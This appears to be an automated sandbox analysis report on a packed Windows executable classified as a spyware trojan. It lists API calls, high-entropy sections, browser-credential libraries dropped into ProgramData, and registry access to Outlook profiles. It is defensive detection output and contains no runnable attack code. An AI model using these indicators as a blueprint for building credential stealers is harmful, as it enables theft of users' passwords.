Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C81B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C81B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C7BF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01256125	0_2_01256125
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117	0_2_01297117
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A71B2	0_2_012A71B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012131BD	0_2_012131BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129C98F	0_2_0129C98F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012AF9CC	0_2_012AF9CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124CB3C	0_2_0124CB3C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A2B53	0_2_012A2B53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129DBAA	0_2_0129DBAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A7BCB	0_2_012A7BCB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01298BD6	0_2_01298BD6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01245D42	0_2_01245D42
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5D82	0_2_011C5D82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0133343A	0_2_0133343A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012ACCEE	0_2_012ACCEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A9CDA	0_2_012A9CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0131F735	0_2_0131F735
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BEF47	0_2_011BEF47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0123D7DA	0_2_0123D7DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129A60F	0_2_0129A60F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0127161C	0_2_0127161C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A464D	0_2_012A464D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129F692	0_2_0129F692
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011A1EA4	0_2_011A1EA4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B35A0	0_2_6C7B35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8134A0	0_2_6C8134A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81C4A0	0_2_6C81C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C5440	0_2_6C7C5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F5C10	0_2_6C7F5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82AC00	0_2_6C82AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F6CF0	0_2_6C7F6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C802C10	0_2_6C802C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BD4E0	0_2_6C7BD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82542B	0_2_6C82542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DD4D0	0_2_6C7DD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C64C0	0_2_6C7C64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82545C	0_2_6C82545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C6C80	0_2_6C7C6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E0512	0_2_6C7E0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DED10	0_2_6C7DED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8185F0	0_2_6C8185F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CFD00	0_2_6C7CFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F0DD0	0_2_6C7F0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81E680	0_2_6C81E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BC670	0_2_6C7BC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C814EA0	0_2_6C814EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D9E50	0_2_6C7D9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F3E50	0_2_6C7F3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D4640	0_2_6C7D4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8276E3	0_2_6C8276E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F7E10	0_2_6C7F7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C805600	0_2_6C805600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BBEF0	0_2_6C7BBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CFEF0	0_2_6C7CFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C819E30	0_2_6C819E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C802E4E	0_2_6C802E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C826E63	0_2_6C826E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D5E90	0_2_6C7D5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8077A0	0_2_6C8077A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F7710	0_2_6C7F7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C9F00	0_2_6C7C9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E6FF0	0_2_6C7E6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BDFE0	0_2_6C7BDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7FF070	0_2_6C7FF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D8850	0_2_6C7D8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DD850	0_2_6C7DD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8250C7	0_2_6C8250C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7FB820	0_2_6C7FB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C7810	0_2_6C7C7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DC0E0	0_2_6C7DC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F58E0	0_2_6C7F58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C804820	0_2_6C804820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E60A0	0_2_6C7E60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C812990	0_2_6C812990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CD960	0_2_6C7CD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DA940	0_2_6C7DA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7ED9B0	0_2_6C7ED9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BC9A0	0_2_6C7BC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F5190	0_2_6C7F5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C80B970	0_2_6C80B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82B170	0_2_6C82B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82BA90	0_2_6C82BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F9A60	0_2_6C7F9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C822AB0	0_2_6C822AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D1AF0	0_2_6C7D1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7FE2F0	0_2_6C7FE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F8AC0	0_2_6C7F8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CCAB0	0_2_6C7CCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B22A0	0_2_6C7B22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E4AA0	0_2_6C7E4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CC370	0_2_6C7CC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B5340	0_2_6C7B5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8253C8	0_2_6C8253C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7FD320	0_2_6C7FD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BF380	0_2_6C7BF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00EE45C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7ECBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7F94D0 appears 90 times

Source: file.exe, 00000000.00000002.2399018534.000000006CA35000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: zqeaefot ZLIB complexity 0.9949071300179748

Source: file.exe, 00000000.00000003.2145141255.0000000005120000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C817030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C817030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EF8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00EF8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EF3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00EF3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\QG0JUR9Z.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2398350837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387864996.000000001D859000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2398885035.000000006C9EF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2398350837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387864996.000000001D859000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2398885035.000000006C9EF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2398350837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387864996.000000001D859000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2398885035.000000006C9EF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2398350837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387864996.000000001D859000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2398885035.000000006C9EF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2398350837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387864996.000000001D859000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2398885035.000000006C9EF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2398350837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387864996.000000001D859000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2398350837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387864996.000000001D859000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2398885035.000000006C9EF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2251970469.000000001D770000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237975971.000000001D754000.00000004.00000020.00020000.00000000.sdmp, IJJJKEGHJKFHJKFHDHCF.0.dr, KEBKJDBAAKJDGCBFHCFC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2398350837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387864996.000000001D859000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2398350837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387864996.000000001D859000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1865216 > 1048576

Source: file.exe

Static PE information: Raw size of zqeaefot is bigger than: 0x100000 < 0x1a1400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2398885035.000000006C9EF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2398885035.000000006C9EF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.ee0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;zqeaefot:EW;eiinewwy:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;zqeaefot:EW;eiinewwy:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EF9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00EF9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cfa59 should be: 0x1d4cad

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zqeaefot
Source: file.exe	Static PE information: section name: eiinewwy
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01256125 push 7DF1AAC1h; mov dword ptr [esp], ebp	0_2_012561D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01256125 push 614F66DFh; mov dword ptr [esp], ebp	0_2_012562C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0135B921 push edi; mov dword ptr [esp], 7FDB6773h	0_2_0135B8E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0132D92D push esi; mov dword ptr [esp], edx	0_2_0132D947
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C091F push eax; mov dword ptr [esp], ebx	0_2_013C09A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push edx; mov dword ptr [esp], ebp	0_2_01297125
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push edi; mov dword ptr [esp], edx	0_2_012971BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push edx; mov dword ptr [esp], 6B25C127h	0_2_01297258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push ecx; mov dword ptr [esp], eax	0_2_0129727D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push 7A0F7296h; mov dword ptr [esp], edx	0_2_012972B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push 75CA32C0h; mov dword ptr [esp], esi	0_2_01297304
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push edi; mov dword ptr [esp], edx	0_2_01297419
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push ebp; mov dword ptr [esp], ecx	0_2_012974B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push eax; mov dword ptr [esp], ecx	0_2_012974CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push edi; mov dword ptr [esp], esi	0_2_012975B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push ebx; mov dword ptr [esp], edi	0_2_0129779F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push ebp; mov dword ptr [esp], edx	0_2_012977EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push 3824FE6Ch; mov dword ptr [esp], eax	0_2_012977FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push 5AFD5800h; mov dword ptr [esp], ecx	0_2_01297871
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push 1D17AF38h; mov dword ptr [esp], esi	0_2_012978D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push edx; mov dword ptr [esp], eax	0_2_01297943
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push ebp; mov dword ptr [esp], eax	0_2_01297957
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push esi; mov dword ptr [esp], eax	0_2_01297A02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push esi; mov dword ptr [esp], 2B45FCA0h	0_2_01297A19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push eax; mov dword ptr [esp], edx	0_2_01297A46
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push 770BD3FEh; mov dword ptr [esp], esi	0_2_01297A62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push 04AC8084h; mov dword ptr [esp], edx	0_2_01297ACC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push 2CD59A24h; mov dword ptr [esp], eax	0_2_01297AD4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push edx; mov dword ptr [esp], ebx	0_2_01297B03
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push edi; mov dword ptr [esp], ebp	0_2_01297B0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297117 push ebx; mov dword ptr [esp], edx	0_2_01297B2A

Source: file.exe

Static PE information: section name: zqeaefot entropy: 7.953751496877036

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
